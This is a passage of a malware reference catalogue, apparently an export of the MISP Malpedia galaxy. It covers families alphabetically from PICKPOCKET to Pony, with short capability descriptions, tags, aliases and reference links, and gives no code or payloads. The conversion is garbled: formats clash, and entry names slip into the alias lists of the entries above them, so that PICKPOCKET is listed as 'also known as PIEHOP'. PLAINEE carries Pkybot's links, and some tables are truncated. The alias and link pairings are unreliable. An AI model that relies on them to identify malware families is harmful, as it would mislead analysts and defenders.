PICKPOCKET is a credential theft tool that dumps the user’s website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed solely utilized by APT34.

The tag is: *misp-galaxy:malpedia="PICKPOCKET"*

PICKPOCKET is also known as:
PIEHOP

According to Mandiant, PIEHOP is a disruption tool written in Python and packaged with PyInstaller version 2.1+ that has the capability to connect to a user supplied remote MSSQL server for uploading files and issuing remote commands to a RTU. PIEHOP expects its main function to be called via another Python file, supplying either the argument control=True or upload=True. At a minimum, it requires the following arguments: oik, user, and pwd, and if called with control=True, it must also be supplied with iec104.

The tag is: *misp-galaxy:malpedia="PIEHOP"*

PIEHOP is also known as:

Pierogi

The tag is: *misp-galaxy:malpedia="Pierogi"*

Pierogi is also known as:

Pikabot

Introducing Pikabot, an emerging malware family that comprises a downloader/installer, a loader,
and a core backdoor component. Despite being in the early stages of development, it already demonstrates advanced techniques in evasion, injection, and anti-analysis. Notably, the loader component incorporates an array of sophisticated anti-debugging and anti-VM measures inspired by the open-source Al-Khaser project, while leveraging steganography to conceal its payload. Additionally, Pikabot utilizes a proprietary C2 framework and supports a diverse range of commands, encompassing host enumeration and advanced secondary payload injection options.

The tag is: \textit{misp-galaxy:malpedia=“Pikabot”}

Pikabot is also known as:

\begin{table}[!ht]
\centering
\caption{Table References}
\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
\url{https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot} \\
\url{https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot} \\
\url{https://medium.com/@DCSO_CyTec/shortandmalicious-pikabot-and-the-matanbuchus-connection-5e302644398} \\
\url{https://d01a.github.io/pikabot/} \\
\hline
\end{tabular}
\end{table}

\textbf{PILLOWMINT}

According to FireEye, PILLOWMINT is a Point-of-Sale malware tool used to scrape track 1 and track 2 payment card data from memory. Scraped payment card data is encrypted and stored in the registry and as plaintext in a file (T1074: Data Staged) Contains additional backdoor capabilities including: Running processes Downloading and executing files (T1105: Remote File Copy) Downloading and injecting DLLs (T1055: Process Injection) Communicates with a command and control (C2) server over HTTP using AES encrypted messages (T1071: Standard Application Layer Protocol) (T1032: Standard Cryptographic Protocol)

The tag is: \textit{misp-galaxy:malpedia=“PILLOWMINT”}

PILLOWMINT is also known as:

\begin{table}[!ht]
\centering
\caption{Table References}
\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
\url{https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint} \\
\url{https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html} \\
\url{https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/} \\
\url{https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/} \\
\hline
\end{tabular}
\end{table}
**PinchDuke**

According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke's credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.

The tag is: *misp-galaxy:malpedia="PinchDuke"*

PinchDuke is also known as:

*Table 3796. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke</a></td>
</tr>
</tbody>
</table>

**PingBack**

The tag is: *misp-galaxy:malpedia="PingBack"*

PingBack is also known as:

*Table 3797. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback">https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback</a></td>
</tr>
<tr>
<td><a href="https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/">https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/</a></td>
</tr>
</tbody>
</table>

**pipcreat**

The tag is: *misp-galaxy:malpedia="pipcreat"*

pipcreat is also known as:

*Table 3798. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat">https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat</a></td>
</tr>
<tr>
<td><a href="https://www.snort.org/rule_docs/1-26941">https://www.snort.org/rule_docs/1-26941</a></td>
</tr>
</tbody>
</table>
PipeMon

The tag is: `misp-galaxy:malpedia="PipeMon"`

PipeMon is also known as:

Table 3799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon">https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1506904404225630210">https://twitter.com/ESETresearch/status/1506904404225630210</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html">https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/">https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/</a></td>
</tr>
</tbody>
</table>

PipeSnoop

Cisco Talos states that PipeSnoop can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint.

The tag is: `misp-galaxy:malpedia="PipeSnoop"`

PipeSnoop is also known as:

Table 3800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pipesnoop">https://malpedia.caad.fkie.fraunhofer.de/details/win.pipesnoop</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/introducing-shrouded-snooper/">https://blog.talosintelligence.com/introducing-shrouded-snooper/</a></td>
</tr>
</tbody>
</table>

PirateStealer

Infostealer

The tag is: `misp-galaxy:malpedia="PirateStealer"`

PirateStealer is also known as:

Table 3801. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pirate_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.pirate_stealer</a></td>
</tr>
</tbody>
</table>
pirpi

The tag is: misp-galaxy:malpedia="pirpi"

pirpi is also known as:

- CookieCutter
- SHOTPUT

Table 3802. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi">https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mayfair">https://www.secureworks.com/research/threat-profiles/bronze-mayfair</a></td>
</tr>
</tbody>
</table>

Pitou

The tag is: misp-galaxy:malpedia="Pitou"

Pitou is also known as:

Table 3803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou">https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou</a></td>
</tr>
<tr>
<td><a href="https://www.tgsoft.it/english/news_archivio_eng.asp?id=884">https://www.tgsoft.it/english/news_archivio_eng.asp?id=884</a></td>
</tr>
<tr>
<td><a href="https://johannesbader.ch/2019/07/the-dga-of-pitou/">https://johannesbader.ch/2019/07/the-dga-of-pitou/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/25068">https://isc.sans.edu/diary/rss/25068</a></td>
</tr>
</tbody>
</table>

PittyTiger RAT

The tag is: misp-galaxy:malpedia="PittyTiger RAT"

PittyTiger RAT is also known as:
Pkybot

Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.

The tag is: *misp-galaxy:malpedia="Pkybot"*

Pkybot is also known as:

- Bublik
- Pykbot
- TBag

PLAINEE

The tag is: *misp-galaxy:malpedia="PLAINEE"*

PLAINEE is also known as:

Table 3805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot">https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot</a></td>
</tr>
<tr>
<td><a href="http://blog.kleissner.org/?p=788">http://blog.kleissner.org/?p=788</a></td>
</tr>
</tbody>
</table>
According to PCrisk, PLAY is the name of a ransomware-type program. Malware categorized as such operates by encrypting data and demanding ransoms for the decryption.

After we executed a sample of this ransomware on our test machine, it encrypted files and appended their filenames with a ".PLAY" extension. For example, a file titled "1.jpg" appeared as "1.jpg.PLAY", "2.png" as "2.png.PLAY", etc. Once the encryption process was completed, PLAY created a text file named "ReadMe.txt" on the desktop.

The tag is: misp-galaxy:malpedia="PLAY"

PLAY is also known as:

- PlayCrypt

Table 3807. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.play">https://malpedia.caad.fkie.fraunhofer.de/details/win.play</a></td>
</tr>
<tr>
<td><a href="https://www.orangecyberdefense.com/global/blog/playing-the-game">https://www.orangecyberdefense.com/global/blog/playing-the-game</a></td>
</tr>
<tr>
<td><a href="https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/">https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware">https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware</a></td>
</tr>
</tbody>
</table>
playwork

The tag is: misp-galaxy:malpedia="playwork"

playwork is also known as:

Table 3808. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork">https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork</a></td>
</tr>
</tbody>
</table>

PLEAD (Windows)

PLEAD is a RAT used by the actor BlackTech. FireEye uses the synonyms GOODTIMES for the RAT module and DRAWDOWN for the respective downloader.

The tag is: misp-galaxy:malpedia="PLEAD (Windows)"

PLEAD (Windows) is also known as:

- DRAWDOWN
- GOODTIMES
- Linopid

Table 3809. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.plead">https://malpedia.caad.fkie.fraunhofer.de/details/win.plead</a></td>
</tr>
<tr>
<td><a href="https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html">https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html</a></td>
</tr>
<tr>
<td><a href="http://blog.jpcert.or.jp/2018/03/malware-tscookie-7aa0.html">http://blog.jpcert.or.jp/2018/03/malware-tscookie-7aa0.html</a></td>
</tr>
</tbody>
</table>
Ploutus ATM

The tag is: misp-galaxy:malpedia="Ploutus ATM"

Ploutus ATM is also known as:

Table 3810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm">https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm</a></td>
</tr>
<tr>
<td><a href="http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html">http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html">https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html</a></td>
</tr>
<tr>
<td><a href="https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america">https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html">https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/ploutus-atm-malware-deobfuscation-case-study">https://www.crowdstrike.com/blog/ploutus-atm-malware-deobfuscation-case-study</a></td>
</tr>
</tbody>
</table>
ployx

The tag is: misp-galaxy:malpedia="ployx"

ployx is also known as:

Table 3811. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx
https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html

PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim’s machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: misp-galaxy:malpedia="PlugX"

PlugX is also known as:

• Destroy RAT
• Kaba
• Korplug
• RedDelta
• Sogu
• TIGERPLUG

Table 3812. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx">https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/pkplug_chinese_cyberEspionage_group_attacking_asia/">https://unit42.paloaltonetworks.com/pkplug_chinese_cyberEspionage_group_attacking_asia/</a></td>
</tr>
<tr>
<td><a href="http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html">http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html</a></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/m4now4r/Presentations/main/MustangPanda%20-%20Enemy%20at%20the%20gate_final.pdf">https://raw.githubusercontent.com/m4now4r/Presentations/main/MustangPanda%20-%20Enemy%20at%20the%20gate_final.pdf</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html">https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html</a></td>
</tr>
<tr>
<td><a href="https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf">https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/infected-usb-steal-secrets">https://www.mandiant.com/resources/blog/infected-usb-steal-secrets</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf">https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/">https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-firestone">https://www.secureworks.com/research/threat-profiles/bronze-firestone</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-union">https://www.secureworks.com/research/threat-profiles/bronze-union</a></td>
</tr>
<tr>
<td><a href="https://www.contextis.com/de/blog/avivore">https://www.contextis.com/de/blog/avivore</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-keystone">https://www.secureworks.com/research/threat-profiles/bronze-keystone</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-">https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-riverside">https://www.secureworks.com/research/threat-profiles/bronze-riverside</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=IRh6R8o1Q7U">https://www.youtube.com/watch?v=IRh6R8o1Q7U</a></td>
</tr>
<tr>
<td><a href="https://www.contextis.com/en/blog/dll-search-order-hijacking">https://www.contextis.com/en/blog/dll-search-order-hijacking</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/">https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html">https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/redecho-targeting-indian-power-sector/">https://www.recordedfuture.com/redecho-targeting-indian-power-sector/</a></td>
</tr>
<tr>
<td><a href="https://engineers.ffri.jp/entry/2022/11/30/141346">https://engineers.ffri.jp/entry/2022/11/30/141346</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.lac.co.jp/lacwatch/people/20171218_001445.html">https://www.lac.co.jp/lacwatch/people/20171218_001445.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=E2_DTQjjDYc">https://www.youtube.com/watch?v=E2_DTQjjDYc</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-woodland">https://www.secureworks.com/research/threat-profiles/bronze-woodland</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/">https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/">https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/</a></td>
</tr>
<tr>
<td><a href="https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/">https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/</a></td>
</tr>
</tbody>
</table>
Plurox

The tag is: *misp-galaxy:malpedia*="Plurox"

Plurox is also known as:

Table 3813. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox">https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/plurox-modular-backdoor/91213/">https://securelist.com/plurox-modular-backdoor/91213/</a></td>
</tr>
</tbody>
</table>

pngdowner

The tag is: *misp-galaxy:malpedia*="pngdowner"

pngdowner is also known as:

Table 3814. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner">https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner</a></td>
</tr>
<tr>
<td><a href="https://iocbucket.com/iocs/7f7999ab7f223409ea9ea10cfcf82b064ce2a1a31">https://iocbucket.com/iocs/7f7999ab7f223409ea9ea10cfcf82b064ce2a1a31</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0024">https://attack.mitre.org/groups/G0024</a></td>
</tr>
</tbody>
</table>
PNGLoad

According to ESET Research, PNGLoad is a second-stage payload deployed by Worok on compromised systems and loaded either by CLRLoad or PowHeartBeat. PNGLoad has capabilities to download and execute additional payloads from a C&C server, which is likely how the attackers have deployed PNGLoad on systems compromised with PowHeartBeat. PNGLoad is a loader that uses bytes from PNG files to create a payload to execute. It is a 64-bit .NET executable - obfuscated with .NET Reactor - that masquerades as legitimate software.

The tag is: *misp-galaxy:malpedia="PNGLoad"

PNGLoad is also known as:

Table 3815. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.png_load">https://malpedia.caad.fkie.fraunhofer.de/details/win.png_load</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/09/06/worok-big-picture/">https://www.welivesecurity.com/2022/09/06/worok-big-picture/</a></td>
</tr>
</tbody>
</table>

PocoDown

uses POCO C++ cross-platform library, Xor-based string obfuscation, SSL library code and string overlap with Xtunnel, infrastructure overlap with X-Agent, probably in use since mid-2018

The tag is: *misp-galaxy:malpedia="PocoDown"

PocoDown is also known as:

- Blitz
- PocoDownloader

Table 3816. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown">https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1129653190444703744">https://twitter.com/cyb3rops/status/1129653190444703744</a></td>
</tr>
</tbody>
</table>

poisonplug

According to FireEye, POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded C&C commands.

The tag is: *misp-galaxy:malpedia="poisonplug"
poisonplug is also known as:

- Barlaiy

Table 3817. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poisonplug">https://malpedia.caad.fkie.fraunhofer.de/details/win.poisonplug</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q3-2020/99204/">https://securelist.com/apt-trends-report-q3-2020/99204/</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41/">https://content.fireeye.com/apt-41/rpt-apt41/</a></td>
</tr>
</tbody>
</table>

Poison Ivy

The tag is: `misp-galaxy:malpedia="Poison Ivy"

Poison Ivy is also known as:

- SPIVY
- pivy
- poisonivy

Table 3818. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy">https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers">https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment">https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-firestone">https://www.secureworks.com/research/threat-profiles/bronze-firestone</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-union">https://www.secureworks.com/research/threat-profiles/bronze-union</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html">https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-keystone">https://www.secureworks.com/research/threat-profiles/bronze-keystone</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-riverside">https://www.secureworks.com/research/threat-profiles/bronze-riverside</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/aluminum-saratoga">https://www.secureworks.com/research/threat-profiles/aluminum-saratoga</a></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf">https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html">https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-275a">https://us-cert.cisa.gov/ncas/alerts/aa20-275a</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/china-linked-ta428-threat-group">https://www.recordedfuture.com/china-linked-ta428-threat-group</a></td>
</tr>
<tr>
<td><a href="http://blogs.360.cn/post/APT_C_01_en.html">http://blogs.360.cn/post/APT_C_01_en.html</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis">https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=1WfPlgtfWnQ">https://www.youtube.com/watch?v=1WfPlgtfWnQ</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/crawling-taurus/">https://unit42.paloaltonetworks.com/atoms/crawling-taurus/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/icefog-apt-group-abusing-recent-conflict-between-iran-and-eeuu/">https://lab52.io/blog/icefog-apt-group-abusing-recent-conflict-between-iran-and-eeuu/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
</tr>
</tbody>
</table>
Poison RAT

The tag is: **misp-galaxy:malpedia="Poison RAT"**

Poison RAT is also known as:

**Table 3819. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat</a></td>
</tr>
</tbody>
</table>

Poldat

The tag is: **misp-galaxy:malpedia="Poldat"**

Poldat is also known as:
• KABOB
• Zlib

Table 3820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat">https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat</a></td>
</tr>
<tr>
<td><a href="http://fireeyeday.com/1604/pdf/KeyNote_2.pdf">http://fireeyeday.com/1604/pdf/KeyNote_2.pdf</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/DDA2uSxjVWY?t=344">https://youtu.be/DDA2uSxjVWY?t=344</a></td>
</tr>
</tbody>
</table>

PolPo

The tag is: `misp-galaxy:malpedia="PolPo"`

PolPo is also known as:

Table 3821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo">https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo</a></td>
</tr>
</tbody>
</table>

PolyglotDuke

The tag is: `misp-galaxy:malpedia="PolyglotDuke"`

PolyglotDuke is also known as:

Table 3822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/17/operation-ghost-dukes-never-left/">https://www.welivesecurity.com/2019/10/17/operation-ghost-dukes-never-left/</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/">https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/</a></td>
</tr>
</tbody>
</table>

Polyglot

The tag is: `misp-galaxy:malpedia="Polyglot"`

Polyglot is also known as:

Table 3823. Table References
PolyVice

The tag is: `misp-galaxy:malpedia="PolyVice`"

PolyVice is also known as:

- Chily

**Table 3824. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice">1</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/">3</a></td>
</tr>
</tbody>
</table>

Pony

